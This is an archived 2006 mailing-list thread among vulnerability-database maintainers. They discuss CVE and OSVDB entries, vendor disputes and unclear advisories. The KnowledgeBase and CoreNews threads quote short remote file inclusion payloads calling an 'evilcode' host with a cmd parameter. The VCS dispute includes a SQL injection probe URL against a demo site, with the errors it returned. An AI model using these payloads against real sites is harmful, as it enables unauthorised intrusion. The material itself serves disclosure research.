From smoore at securityglobal.net Wed Mar 1 01:00:07 2006
From: smoore at securityglobal.net (Stuart Moore)
Date: Wed, 01 Mar 2006 01:00:07 -0500
Subject: [VIM] Knowledgebases Remote Command Exucetion
In-Reply-To:
References: <20060227123040.18672.qmail@securityfocus.com>
Message-ID: <44053867.1010800@securityglobal.net>
Hi,
Francisco Alisson's report to Bugtraq from March 2005 seems to
specifically mention only the KnowledgeBuilder product (though it was
identified as "KnowledgeBase") with the vendor URL of:
http://www.activecampaign.com/kb/
In searching back further, it seems that Zero X reported this issue
[CVE-2003-1131] to Bugtraq in December 2003:
http://www.securityfocus.com/archive/1/348359
But, Zero X's report mentions only KnowledgeBuilder and not any of the
other products.
Would this warrant a new CVE for the newly identified products? Or a
modification to the CVE-2003-1131 entry?
Stuart
security curmudgeon wrote:
> : http://www.activecampaign.com/support/
> :
> : Version : 1-2-All KB
> : * KnowledgeBuilder KB
> : * iSalient KB
> : * SupportTrio KB
> : * visualEdit KB
> : * General KB
> :
> : This is a support-faq script. The questions is asked. But this a script
> : high the risk at bug. Malicios person to reach far away.
> :
> : Vulnerable :
> :
> : http://www.site.com/[path]/index.php?page=http://evilcode?&cmd=
>
> This was reported on Mar 12, 2005 by Francisco Alisson, and apparently not
> patched since then.
>
> http://archives.neohapsis.com/archives/bugtraq/2005-03/0213.html
>
From jericho at attrition.org Fri Mar 3 16:04:55 2006
From: jericho at attrition.org (security curmudgeon)
Date: Fri, 3 Mar 2006 16:04:55 -0500 (EST)
Subject: [VIM] vendor ack/fix: Honeycomb Archive CategoryResults.cfm
Multiple Variable SQL Injection (fwd)
Message-ID:
---------- Forwarded message ----------
From: Matt Yerkes
To: moderators at osvdb.org
Date: Fri, 3 Mar 2006 13:36:35 -0500
Subject: [OSVDB Mods] [Change Request] 21827: Honeycomb Archive
CategoryResults.cfm Multiple Variable SQL Injection
This issue has been patched in version 4.0
Thank you
Matt Yerkes
Quick Square
From coley at mitre.org Fri Mar 3 16:13:25 2006
From: coley at mitre.org (Steven M. Christey)
Date: Fri, 3 Mar 2006 16:13:25 -0500 (EST)
Subject: [VIM] fun vulnerability timelines - part 2
Message-ID: <200603032113.k23LDPZ4018918@cairo.mitre.org>
Following Jericho's lead on fun timelines :) although I can understand
how this one would arise.
Ref: CVE-2006-0982 "Virex on-access scanning unreliable"
http://www.securityfocus.com/archive/1/archive/1/426348/100/0/threaded
McAfee notified 2006/02/17, denied responsability for the product
and referred to Apple.
Apple notified 2006/02/17, denied responsability for the issue and
referred to McAfee.
- Steve
From jericho at attrition.org Sat Mar 4 04:16:43 2006
From: jericho at attrition.org (security curmudgeon)
Date: Sat, 4 Mar 2006 04:16:43 -0500 (EST)
Subject: [VIM] what a tangled web of code we weave
Message-ID:
While digging around tonight, ran into this sequence of links trying to
find where the real vulnerability was:
sux0r 1.6 was released to fix a vuln [1]
this was due to a vuln in MagpieRSS, which v 0.72 fixed [2]
the MagpieRSS issue was due to a vuln in Snoopy [3]
At this point, the sux0r release was linked two steps back to Snoopy, via
MagpieRSS. Also attached to the same original vulnerability:
Ampache was also found to be using Snoopy [4]
Jinzora was also found to be using Snoopy [5]
Obviously, most people in the industry who read Bugtraq or F-D for vuln
info didn't see all of this. This is a pretty good case where some
vulnerability databases show their worth in followup research and
organization.
I wonder if the authors of sux0r know that one of the packages they use,
also uses other packages. This makes me wonder how many layers deep some
of the software goes these days. Imagine having a really accurate mapping
of such relationships and integration, that would let us see just how far
one vulnerability can spread into different codebases.
[1] http://sourceforge.net/forum/forum.php?forum_id=546886
[2] http://sourceforge.net/project/shownotes.php?release_id=368750&group_id=55691
[3] http://www.sec-consult.com/216.html
[4] http://www.secunia.com/advisories/17779/
[5] http://sourceforge.net/project/shownotes.php?release_id=375385
From jericho at attrition.org Sun Mar 5 23:28:21 2006
From: jericho at attrition.org (security curmudgeon)
Date: Sun, 5 Mar 2006 23:28:21 -0500 (EST)
Subject: [VIM] *pdf - new issues or old?
Message-ID:
http://www.debian.org/security/2006/dsa-979
http://www.debian.org/security/2006/dsa-982
http://www.debian.org/security/2006/dsa-983
http://www.debian.org/security/2006/dsa-984
vulnerable: pdfkit.framework, gpdf, pdftohtml, xpdf
vulns found by: Derek Noonburg
Security database references:
No other external database security references currently available.
--
So are these new issues or do they correspond with old ones? Debian has
released advisories covering all the other publicly reported ones I
think..
From coley at linus.mitre.org Mon Mar 6 14:04:02 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 6 Mar 2006 14:04:02 -0500 (EST)
Subject: [VIM] *pdf - new issues or old?
In-Reply-To:
References:
Message-ID:
I asked Martin Schulze about this (specifically DSA-979) and he said that
there was "probably" overlap, but fixes were based on a patch by Derek
Noonburg, the xpdf author, and no CVE names were assigned at that time.
As you probably know, distributions sometimes don't know the details of
security fixes by the original developers/maintainers.
I hate answers that raise more questions :-/ but I might have to go with
"unspecified" vulnerabilities.
- Steve
From coley at mitre.org Mon Mar 6 21:08:39 2006
From: coley at mitre.org (Steven M. Christey)
Date: Mon, 6 Mar 2006 21:08:39 -0500 (EST)
Subject: [VIM] LISTSERV release notes reveal partial vuln details
Message-ID: <200603070208.k2728dTL026512@cairo.mitre.org>
Regarding:
BUGTRAQ:20060304 Critical Risk Vulnerability in L-Soft Listserv
URL:http://www.securityfocus.com/archive/1/archive/1/426770/100/0/threaded
SECTRACK:1015722, BID:16951, FRSIRT:ADV-2006-0824
I traipsed around some mailing list archives and found this:
http://peach.ease.lsoft.com/scripts/wa.exe?A2=ind0603&L=lstsrv-l&T=0&P=1442
A followup post yielded this:
http://www.lsoft.com/manuals/1.8e/relnotes/LISTSERV14.5-Release-Notes.html#wasecurityalert
A number of buffer overruns were found in the WA CGI stage for all
platforms after the release of LISTSERV 14.4. This discovery
triggered a full code audit and overhaul of WA for LISTSERV 14.5...
The vunerabilities were found and graciously reported by Peter
Winter-Smith of Next Generation Security Software, Ltd.
- Steve
From coley at linus.mitre.org Tue Mar 7 16:10:49 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 7 Mar 2006 16:10:49 -0500 (EST)
Subject: [VIM] Vendor dispute / clarification for CVE-2005-4515 (WebDB)
Message-ID:
FYI. My read is that the reported vulnerability was in a single
customized web site. Also, from the sound of things, the software is not
directly distributed to customers, rather it is controlled by the vendor.
- Steve
---------- Forwarded message ----------
Date: Tue, 7 Mar 2006 21:03:28 -0000
From: Lois Software
To: cve at mitre.org
Subject: CVE-2005-4515 (under review)
[snip]
WebDB is a generic online database system used by many of the clients of
Lois Software. The flaw that was identified was some code that was added for
a client to do some testing of his system and only certain safe commands
were allowed. This code has now been removed and it is not now possible to
use SQL queries as part of the query string.
No installation or patch is required All clients use a common code library
and have their own front end and databases and connections. So as soon as a
change / upgrade / enhancement is made to the code, all users of the
software begin to use the latest changes immediately.
A message has also been put on the original posting site.
Many Thanks
Lois Software - Bristol - England
www.loissoftware.com
From jericho at attrition.org Tue Mar 7 16:12:02 2006
From: jericho at attrition.org (security curmudgeon)
Date: Tue, 7 Mar 2006 16:12:02 -0500 (EST)
Subject: [VIM] [Change Request] 21910: WebDB Search Module search
Variable SQL Injection (fwd)
Message-ID:
I'm trying to figure this out as well =)
---------- Forwarded message ----------
From: security curmudgeon
To: Lois Software
Cc: moderators at osvdb.org
Date: Tue, 7 Mar 2006 16:05:05 -0500 (EST)
Subject: RE: [OSVDB Mods] [Change Request] 21910: WebDB Search Module search
Variable SQL Injection
: : Does this entail your clients installing an upgrade, or applying a
: : patch?
:
: No .. All clients use a common code library and have their own front end
: and databases and connections. So as soon as a change / upgrade /
: enhancement is made to the code, all users of the software begin to use
: the latest changes immediately.
Does this code reside on your servers then? Do your customers use your
servers for everything, ie: you provide a managed service for them? Or do
they just pull the shared code from your server, but use it from their own
sites/servers?
I'm trying to figure out how to word a solution here, and it doesn't sound
like calling it an upgrade or patch is appropriate.
Thanks for helping to clear this up!
Brian
OSVDB.org
From mattmurphy at kc.rr.com Tue Mar 7 16:38:24 2006
From: mattmurphy at kc.rr.com (Matthew Murphy)
Date: Tue, 07 Mar 2006 15:38:24 -0600
Subject: [VIM] Vendor dispute / clarification for CVE-2005-4515 (WebDB)
In-Reply-To:
References:
Message-ID: <440DFD50.2040002@kc.rr.com>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: RIPEMD160
Steven M. Christey wrote:
> FYI. My read is that the reported vulnerability was in a single
> customized web site. Also, from the sound of things, the software is not
> directly distributed to customers, rather it is controlled by the vendor.
My read is different. I read it as "we added code [to the global
codebase] so that one client could test his/her use of the software."
This makes more sense to me when combined with the "No... patch is
required... all clients use a common code library" statement.
Bottom line... it's about as clear as mud.
> - Steve
>
> ---------- Forwarded message ----------
> Date: Tue, 7 Mar 2006 21:03:28 -0000
> From: Lois Software
> To: cve at mitre.org
> Subject: CVE-2005-4515 (under review)
>
> [snip]
>
> WebDB is a generic online database system used by many of the clients of
> Lois Software. The flaw that was identified was some code that was added for
> a client to do some testing of his system and only certain safe commands
> were allowed. This code has now been removed and it is not now possible to
> use SQL queries as part of the query string.
>
> No installation or patch is required All clients use a common code library
> and have their own front end and databases and connections. So as soon as a
> change / upgrade / enhancement is made to the code, all users of the
> software begin to use the latest changes immediately.
>
> A message has also been put on the original posting site.
>
> Many Thanks
>
> Lois Software - Bristol - England
> www.loissoftware.com
>
- --
"Social Darwinism: Try to make something idiot-proof,
nature will provide you with a better idiot."
-- Michael Holstein
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (MingW32)
Comment: http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xB5444D38
iD8DBQFEDf1Pfp4vUrVETTgRAxeIAJ4hYtfzhMPYXQZpuXzOFdqdHU/uhACcCKyo
/FSRQx5yGV5TrLZrWB95d30=
=kzt0
-----END PGP SIGNATURE-----
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/x-pkcs7-signature
Size: 3436 bytes
Desc: S/MIME Cryptographic Signature
Url : http://www.attrition.org/pipermail/vim/attachments/20060307/f0bcbb2d/attachment-0001.bin
From jericho at attrition.org Tue Mar 7 16:39:16 2006
From: jericho at attrition.org (security curmudgeon)
Date: Tue, 7 Mar 2006 16:39:16 -0500 (EST)
Subject: [VIM] [Change Request] 21910: WebDB Search Module search
Variable SQL Injection (fwd)
Message-ID:
---------- Forwarded message ----------
From: Lois Software
To: security curmudgeon
Cc: moderators at osvdb.org
Date: Tue, 7 Mar 2006 21:34:48 -0000
Subject: RE: [OSVDB Mods] [Change Request] 21910: WebDB Search Module search
Variable SQL Injection
Hi Brian Yes ... everything happens on my server .... the WebDB code
resides on my server and each user has access to the common code. I also
host their front end web sites and their databases. Each client will have
their own database which stores all of their data and their settings for the
search, results and details pages. There will also be a separate connection
file for each user so the code will know which database to use.
So a search page for a client will just contain the following code:-
Some example sites include:-
[..]
I hope that helps!! .... if not, feel free to ask if you want any further
clarification
Best Wishes
Jerry
From coley at linus.mitre.org Tue Mar 7 16:40:07 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 7 Mar 2006 16:40:07 -0500 (EST)
Subject: [VIM] Vendor dispute / clarification for CVE-2005-4515 (WebDB)
In-Reply-To: <440DFD50.2040002@kc.rr.com>
References:
<440DFD50.2040002@kc.rr.com>
Message-ID:
On Tue, 7 Mar 2006, Matthew Murphy wrote:
> Bottom line... it's about as clear as mud.
I can't wait to see what mud Brian gets back from his inquiry :)
- Steve
From jericho at attrition.org Tue Mar 7 16:42:49 2006
From: jericho at attrition.org (security curmudgeon)
Date: Tue, 7 Mar 2006 16:42:49 -0500 (EST)
Subject: [VIM] [Change Request] 21910: WebDB Search Module search
Variable SQL Injection (fwd)
Message-ID:
---------- Forwarded message ----------
From: security curmudgeon
To: Lois Software
Cc: moderators at osvdb.org
Date: Tue, 7 Mar 2006 16:42:14 -0500 (EST)
Subject: RE: [OSVDB Mods] [Change Request] 21910: WebDB Search Module search
Variable SQL Injection
Hey ,
Thanks for the detailed information. I'm going to review it later this
evening and figure out how best to handle it. It seems like this is
essentially a service, not a product, and as such would not meet our
criteria for inclusion in the database at all. Given that many other
databases have entries for it, we may keep it but add notes that explain
all of what you told me so it is clear to everyone.
I have also sent our mails (sanitized) to several other databases
(including CVE, SecurityTracker and others) so they can act on it
accordingly as well.
Thanks for taking the time to explain everything.
Brian
OSVDB.org
From jericho at attrition.org Wed Mar 8 01:52:28 2006
From: jericho at attrition.org (security curmudgeon)
Date: Wed, 8 Mar 2006 01:52:28 -0500 (EST)
Subject: [VIM] interesting change in Xerox advisories
Message-ID:
We've discussed Xerox advisories in the past, and how vague they are:
Xerox, redundancy and being vague..
http://attrition.org/pipermail/vim/2005-July/000206.html
http://attrition.org/pipermail/vim/2005-July/000209.html
oh how i love xerox
http://attrition.org/pipermail/vim/2006-February/000563.html
http://attrition.org/pipermail/vim/2006-February/000564.html
Until now, their advisories always seem to be cut/paste of each other,
just changing the date and advisory ID number. Unspecified Auth Bypass,
Unspecified XSS, Unspecified DoS. This month however, they really broke
from the norm:
http://www.xerox.com/downloads/usa/en/c/cert_XRX06_002.pdf
XEROX SECURITY BULLETIN XRX06-002
03/06/06
[..]
Background
System Software Version 1.001.02.074 documented in this bulletin has
completed Common Criteria evaluation. The software applies to the products
listed below. The information provided here is consistent with the
security functional claims made in the Security Target. This Security
Target is available from the National Information Assurance Partnership
website's Validated Products List under the heading "Xerox CopyCentre (tm)
C65/75/90 Copier and WorkCentre (tm) Pro 65/75/90 Advanced Multifunction
System including Image Overwrite"
(http://niap.nist.gov/cc-scheme/st/ST_VID2021.html) or from your Xerox
representative.
System Software Version 1.001.02.074 incorporates fixes for the following
security-related problems:
* A buffer overflow vulnerability in the PostScript file interpreter code
that could cause a denial of service to an attacked machine.
* A specially constructed PostScript file to navigate through the
directory could cause a denial of service to an attacked machine.
* A specially constructed PostScript file set to expose TCP/IP ports could
cause a denial of service to an attacked machine.
* A memory corruption vulnerability in the web server code that could
cause a denial of service to an attacked machine.
* A vulnerability in the ESS/Network Controller could cause Immediate
Image Overwrite to fail in a specific instance with no indication after an
unexpected power loss.
System Software Version 1.001.02.716 has not completed Common Criteria
evaluation, but incorporates all of the security fixes identified above
for System Software Version 1.001.02.074 plus additional security fixes
identified in the applicable software release notes.
Customers have the option of requesting either System Software Version.
From jericho at attrition.org Wed Mar 8 05:58:45 2006
From: jericho at attrition.org (security curmudgeon)
Date: Wed, 8 Mar 2006 05:58:45 -0500 (EST)
Subject: [VIM] vendor ack/fix: 21939: Baseline CMS Page.asp SiteNodeID
Variable SQL Injection (fwd)
Message-ID:
---------- Forwarded message ----------
From: Dave McKay
To: moderators at osvdb.org
Date: Tue, 7 Mar 2006 20:15:26 -0500
Subject: [OSVDB Mods] [Change Request] 21939: Baseline CMS Page.asp SiteNodeID
Variable SQL Injection
Hi there,
Baseline CMS 2.0 does not have the same vulnerability as version 1.95. It
was released in Jan 2006 and validates all expected numeric data passed in
the querystring to make sure it only contains numeric characters. Earlier
versions all reside on our servers and have been patched.
Thanks,
Dave McKay
Vice-President
NMA
From jericho at attrition.org Wed Mar 8 07:03:30 2006
From: jericho at attrition.org (security curmudgeon)
Date: Wed, 8 Mar 2006 07:03:30 -0500 (EST)
Subject: [VIM] For Sale: Security Vulnerability Database Company (fwd)
Message-ID:
This is certainly interesting.
---------- Forwarded message ----------
From: Jason Bergen
To: full-disclosure at lists.grok.org.uk
Date: Wed, 8 Mar 2006 11:59:26 +0000
Subject: [Full-disclosure] For Sale: Security Vulnerability Database Company
Apologies if this email is not appropriate for this list.
We have been appointed to facilitate the sale of company which has
developed and maintains a security vulnerability database, thus are
looking for potential buyers for our client.
The company maintains a database of all security vulnerabilities, and
the database is updated on a daily basis. The company maybe of
interest to organisations who are currently licensing a vulnerability
database. In addition the company has developed some software
applications built upon the vulnerability database.
More details about the organisation are available on request by
contacting me by email at jason.bergen at googlemail.com
Regards
Jason Bergen
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
From coley at mitre.org Wed Mar 8 21:27:36 2006
From: coley at mitre.org (Steven M. Christey)
Date: Wed, 8 Mar 2006 21:27:36 -0500 (EST)
Subject: [VIM] Inquiry sent to NZ Ecommerce vendor
Message-ID: <200603090227.k292Ramb004448@cairo.mitre.org>
Regarding the XSS and SQL injection issues in NZ Ecommerce here:
http://pridels.blogspot.com/2006/03/nz-ecommerce-sqlxss-vuln.html
The vendor included a blog comment that said he could not reproduce
the issues.
I researched things a little bit, and it appears that the report is
legit. I've sent a followup email to the vendor with my findings.
I'll let you know when I hear something.
Hmmmmmm... while I was composing this email, I received some sort of
bounce error from the vendor's site. Guess I'll have to try later...
- Steve
From coley at mitre.org Thu Mar 9 00:23:32 2006
From: coley at mitre.org (Steven M. Christey)
Date: Thu, 9 Mar 2006 00:23:32 -0500 (EST)
Subject: [VIM] vague vendor disputes for Pixelpost issues
Message-ID: <200603090523.k295NWGs004773@cairo.mitre.org>
This is a cute one.
Ref:
BUGTRAQ:20060304 Pixel Post Multiple Vulnerabilities
URL:http://www.securityfocus.com/archive/1/archive/1/426764/100/0/threaded
In a forum, the vendor vaguely disputes some issues, but isn't
actually specific about WHICH issues are disputed:
http://www.neosecurityteam.net/index.php?action=advisories&id=19
"Some of this infos arent really sec holes and some of them are not
present in 1.5 BETA1 which we suggest to install from time when it
is public. 1.5 RC1 will be patched completle for all known holes."
I know I've run across partial disputes like this before, but this one
just happened to strike me.
- Steve
From coley at mitre.org Thu Mar 9 01:09:21 2006
From: coley at mitre.org (Steven M. Christey)
Date: Thu, 9 Mar 2006 01:09:21 -0500 (EST)
Subject: [VIM] Who or what is Total Ecommerce?
Message-ID: <200603090609.k2969Lc7004887@cairo.mitre.org>
Researcher: nukedx
Ref:
BUGTRAQ:20060304 Advisory: TotalECommerce (index.asp id) Remote SQL
InjectionVulnerability.
http://www.securityfocus.com/archive/1/archive/1/426765/100/0/threaded
FRSIRT:ADV-2006-0840
SECUNIA:19103
A little Googling shows what appears to be a single web site:
http://www.superasp.com.br/totalecommerce/index.asp
which uses the "secao" parameter as referenced by nukedx, but the
"product site" claimed by nukedx - http://www.totalecommerce.com -
appears to be a commercial index for various e-commerce resources.
A Google search suggests that there are many product or service names
such as "Total Ecommerce".
But that secao parameter sounds like the key... and this smells like a
single web site.
Anybody?
- Steve
From jericho at attrition.org Fri Mar 10 07:30:19 2006
From: jericho at attrition.org (security curmudgeon)
Date: Fri, 10 Mar 2006 07:30:19 -0500 (EST)
Subject: [VIM] vendor dispute: VCS
Message-ID:
---------- Forwarded message ----------
From: VCS Service
To: moderators at osvdb.org
Date: Thu, 9 Mar 2006 22:32:05 -0600
Subject: [OSVDB Mods] FW: SQL Injection Vulnerability
Moderators,
You posted a vulnerability on your site here with our application:
http://www.osvdb.org/displayvuln.php?osvdb_id=23479&print
I responded to the original posted weeks ago and never heard back (see my
message below). We have explained that this vulnerability has been tested
and designed against. We would be very interested in seeing any proof that
this can be accomplished as has been stated.
As developers I am not egotistical enough to say that it is outside the
realm of possibility, it is just that without proof this is no more then an
accusation. We have made significant efforts to protect against this type
of vulnerability and your post is harmful to our company's reputation so we
must ask that you (or the submitter) prove that this is possible with proof
or remove this hurtful innuendo to our reputation.
Best Regards,
Nick Matteucci
VCS = Simple + Sensible + Supportable
Web-Based Project Management Software
Phone: 314-766-4612
Email:
Web: www.vcsonline.com
-----Original Message-----
From: VCS Service
Sent: Tuesday, February 14, 2006 6:30 AM
To: Remco Verhoef (Intershare B.V.)
Subject: RE: SQL Injection Vulnerability
Hi Remco,
Thank you for writing. We have a behind the scenes complex state management
system that uses a combination of keys placed in JavaScript and Session
State (server side) that protects against the type of SQL injection you
describe. We have tested for many of the cases and have not found it to be
an issue. We also compare with proprietary internal fields for the records
to be sure.
Were you able to modify or change another record then the one you were
navigating with through the querysting? Please let us know how you
accomplished that and I would be most grateful to you.
Thank you
VCS Support Team
-----Original Message-----
From: Remco Verhoef (Intershare B.V.)
Sent: Tuesday, February 14, 2006 4:57 AM
To: information at vcsonline.com
Subject: SQL Injection Vulnerability
Dear VCSOnline,
While browsing through the demo, I encountered the following possible sql
injection flaw. When this flaw is abused there are several possibilities for
deleting, stealing data, installing trojans, depending on the configuration
of the database.
The url:
http://vpmi.vcsonline.com/vpmi33/scripts/PM_Process/PM_Sub_Project_Pages/Ser
vice_Requests.asp?Updateable=NO&Last_Button=form&UpdateID0=175'6&UpdateID1=&
UpdateID2=&UpdateID3=&UpdateID4=&UpdateID5=&strSORTBY=&Form_Mode=YES&iWhichP
age=1&iPageSize=50&Request_Name_Display=LSS+FAX&Status_Code=ASREQ
Returns the error:
Microsoft OLE DB Provider for Oracle (0x80040E14)
ORA-00933: SQL command not properly ended
/vpmi33/scripts/PM_Process/PM_Sub_Project_Pages/Service_Requests.asp, line
472
Which indicates that the parameter UpdateID0 is not properly sanitized
before executing it at the database.
Please correct this issue.
Kind regards,
Remco Verhoef
From coley at linus.mitre.org Fri Mar 10 20:30:14 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Fri, 10 Mar 2006 20:30:14 -0500 (EST)
Subject: [VIM] vendor dispute: VCS
In-Reply-To:
References:
Message-ID:
Why do these things seem to happen on Fridays? OK, so this one was late
Thursday.
At first glance it looks like there could be a path disclosure infoleak,
but the "full path" being returned in the verbose error messages is the
same as the URL without the hostname portion, so it's probably NOT an
infoleak.
The URL provided by the vendor is for a demo site.
Using the following values for UpdateID0 yielded the following results:
- 1594
normal returned record ID 1594
- 1590%2b4 (URL-encoded 1590+4)
ORA-01722: invalid number
(plus full pathname to the script)
- [blank value]
a blank value returned record ID 1758
- 1
Error Type:
(0x80020009)
Exception occurred.
(plus path disclosure)
- *
Error Type:
Microsoft OLE DB Provider for Oracle (0x80040E07)
ORA-01722: invalid number
- a
Error Type:
Microsoft OLE DB Provider for Oracle (0x80040E07)
ORA-01722: invalid number
- '
Error Type:
Microsoft OLE DB Provider for Oracle (0x80004005)
ORA-01756: quoted string not properly terminated
- -1
Error Type:
(0x80020009)
Exception occurred.
Given that 1590+4 did NOT work, and some of the values say "invalid
number" and non-positive numbers yield exceptions, I'm tempted at the
moment to concur with the dispute, but I haven't studied SQL injection
deeply enough to know whether an inability to handle ' is *always* proof
of SQL injection - though I suspect not.
- Steve
From jericho at attrition.org Mon Mar 13 03:52:51 2006
From: jericho at attrition.org (security curmudgeon)
Date: Mon, 13 Mar 2006 03:52:51 -0500 (EST)
Subject: [VIM] Who or what is Total Ecommerce?
In-Reply-To: <200603090609.k2969Lc7004887@cairo.mitre.org>
References: <200603090609.k2969Lc7004887@cairo.mitre.org>
Message-ID:
: A little Googling shows what appears to be a single web site:
:
: http://www.superasp.com.br/totalecommerce/index.asp
:
: which uses the "secao" parameter as referenced by nukedx, but the
: "product site" claimed by nukedx - http://www.totalecommerce.com -
: appears to be a commercial index for various e-commerce resources.
searching for 'index.asp?secao':
http://www.feiradacachaca.com.br/index.asp?secao=4&categoria=107&subcategoria=0&id=179
http://www.spon.com.br/index.asp?secao=46&categoria=248
http://www.cdrcia.com.br/index.asp?secao=18&categoria=55&subcategoria=0&id=197
http://www.novotempo.org.br/lojavirtual/index.asp?secao=2&categoria=76&subcategoria ...
http://www.amb.com.br/portal/index.asp?secao=mostranoticia&mat_id=2793 ...
Given they are all .bz sites, i'm thinking 'secao' may be a fairly common
variable name. The vendor URL as you point out seems like a link
site/portal, not a site offering software for download.
From coley at mitre.org Mon Mar 13 19:24:04 2006
From: coley at mitre.org (Steven M. Christey)
Date: Mon, 13 Mar 2006 19:24:04 -0500 (EST)
Subject: [VIM] Oddness - CoreNews 2.0.1 Remote Command Exucetion
Message-ID: <200603140024.k2E0O4gi022406@cairo.mitre.org>
Ref:
BUGTRAQ:20060309 CoreNews 2.0.1 Remote Command Exucetion
http://www.securityfocus.com/archive/1/archive/1/427387/100/0/threaded
The researcher says:
>http://www.example.com/index.php?page=evilcode?&cmd=id
It's not clear where this is a file include issue, eval injection,
etc. The demo URL is not specific enough.
Also, I downloaded the source code for CoreNews 2.0.1 from this site:
http://www.php-spezial.de/start.php?go=top&id=&s=3
Doing a grep for "page" on the entire distribution does not return any
matches, except for unrelated example "homepage" URLs.
This is interesting, since it appears that this product is used by
some sites, and the page parameter is present and functioning.
Could this be a site-specific issue that is unrelated to CoreNews? Or
maybe there's a modified version that's also called "2.0.1" ?
Or maybe there's only so much you can see from a casual source
inspection :)
- Steve
From theall at tenablesecurity.com Mon Mar 13 21:15:00 2006
From: theall at tenablesecurity.com (George A. Theall)
Date: Mon, 13 Mar 2006 21:15:00 -0500
Subject: [VIM] Oddness - CoreNews 2.0.1 Remote Command Exucetion
In-Reply-To: <200603140024.k2E0O4gi022406@cairo.mitre.org>
References: <200603140024.k2E0O4gi022406@cairo.mitre.org>
Message-ID: <44162724.2030302@tenablesecurity.com>
Steven M. Christey wrote:
> Could this be a site-specific issue that is unrelated to CoreNews? Or
> maybe there's a modified version that's also called "2.0.1" ?
There are a couple of addons for CoreNews available here:
http://corenews.icestyle.de/
The next-page and page-direktlinks hacks seem to add the functionality:
http://corenews.icestyle.de/download/nextpage.howto-install.hack
http://corenews.icestyle.de/download/new_next-page
through changes to shownews.php. Also worth noting is the presence of an
eval() in the original source, although it seems like most of the mods
from these two addons occur *after* the eval. Then again,
> Or maybe there's only so much you can see from a casual source
> inspection :)
At least you have the source - isn't
working for me.
P.S. I'm new to the list and hope I'm not violating protocol by jumping
in like this.
George
--
theall at tenablesecurity.com
From coley at linus.mitre.org Mon Mar 13 21:19:31 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 13 Mar 2006 21:19:31 -0500 (EST)
Subject: [VIM] Oddness - CoreNews 2.0.1 Remote Command Exucetion
In-Reply-To: <44162724.2030302@tenablesecurity.com>
References: <200603140024.k2E0O4gi022406@cairo.mitre.org>
<44162724.2030302@tenablesecurity.com>
Message-ID:
On Mon, 13 Mar 2006, George A. Theall wrote:
> P.S. I'm new to the list and hope I'm not violating protocol by jumping
> in like this.
Not at all George, this is exactly the kind of stuff the list was created
for!
Thanks,
Steve
From coley at mitre.org Tue Mar 14 17:02:29 2006
From: coley at mitre.org (Steven M. Christey)
Date: Tue, 14 Mar 2006 17:02:29 -0500 (EST)
Subject: [VIM] Vendor ACK for NeuSecure/Netcool issues
Message-ID: <200603142202.k2EM2Tjj025366@cairo.mitre.org>
I just talked with Jimmy Alderson, now at IBM, about the various
NeuSecure/Netcool issues (CVEs below). They do not have any formal
public acknowledgement, but fixes for the issues are available to
their customers.
- Steve
======================================================
Name: CVE-2006-0837
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0837
Acknowledged: yes via-phone
Announced: 20060216
Flaw: perm
Reference: BUGTRAQ:20060216 Password disclosure and remote access in Netcool/NeuSecure Security information management platform
Reference: URL:http://www.securityfocus.com/archive/1/archive/1/425304/100/0/threaded
Reference: FULLDISC:20060216 Password disclosure and remote access in Netcool/NeuSecure Security information management platform
Reference: URL:http://archives.neohapsis.com/archives/fulldisclosure/2006-02/0364.html
Reference: BID:16700
Reference: URL:http://www.securityfocus.com/bid/16700
Reference: OSVDB:23270
Reference: URL:http://www.osvdb.org/23270
Reference: SECTRACK:1015642
Reference: URL:http://securitytracker.com/id?1015642
Reference: SECUNIA:18922
Reference: URL:http://secunia.com/advisories/18922
IBM Tivoli Micromuse Netcool/NeuSecure 3.0.236 has world-readable
permissions for (1) /etc/neusecure.conf, (2)
/opt/NeuSecure/etc/cms-3.0.236.buildconf, and (3)
/opt/NeuSecure/bin/ns_archiver.log, which allows local users to read
sensitive information such as passwords. NOTE: IBM has privately
confirmed to CVE that a fix is available for these issues.
Analysis:
ACCURACY: By "remote access," the researcher means that a local user
could find a password that can be used for a separate remote session.
ACKNOWLEDGEMENT: Jimmy Alderson confirmed this issue with Steve
Christey by phone on March 14, 2006.
======================================================
Name: CVE-2006-0838
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0838
Acknowledged: yes via-phone
Announced: 20060216
Flaw: crypt
Reference: BUGTRAQ:20060216 Password disclosure and remote access in Netcool/NeuSecure Security information management platform
Reference: URL:http://www.securityfocus.com/archive/1/archive/1/425304/100/0/threaded
Reference: FULLDISC:20060216 Password disclosure and remote access in Netcool/NeuSecure Security information management platform
Reference: URL:http://archives.neohapsis.com/archives/fulldisclosure/2006-02/0364.html
Reference: BID:16698
Reference: URL:http://www.securityfocus.com/bid/16698
Reference: OSVDB:23270
Reference: URL:http://www.osvdb.org/23270
Reference: OSVDB:23271
Reference: URL:http://www.osvdb.org/23271
Reference: SECTRACK:1015642
Reference: URL:http://securitytracker.com/id?1015642
Reference: SECUNIA:18922
Reference: URL:http://secunia.com/advisories/18922
IBM Tivoli Micromuse Netcool/NeuSecure 3.0.236 stores cleartext
passwords in the (1) CMS_DBPASS, (2) CMSM_DBPASS, and (3) RPT_DBPASS
fields in /etc/neusecure.conf, and in (4)
/opt/NeuSecure/bin/ns_archiver.log, which allows local users to gain
privileges. NOTE: IBM has privately confirmed to CVE that a fix is
available for these issues.
Analysis:
ACCURACY: By "remote access," the researcher means that a local user
could find a password that can be used for a separate remote session.
ACKNOWLEDGEMENT: Jimmy Alderson confirmed this issue with Steve
Christey by phone on March 14, 2006.
======================================================
Name: CVE-2006-1210
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1210
Acknowledged: yes via-phone
Announced: 20060308
Flaw: other
Reference: BUGTRAQ:20060308 Remote access to NeuSecure/Netcool backend database via web interface credentials leakage
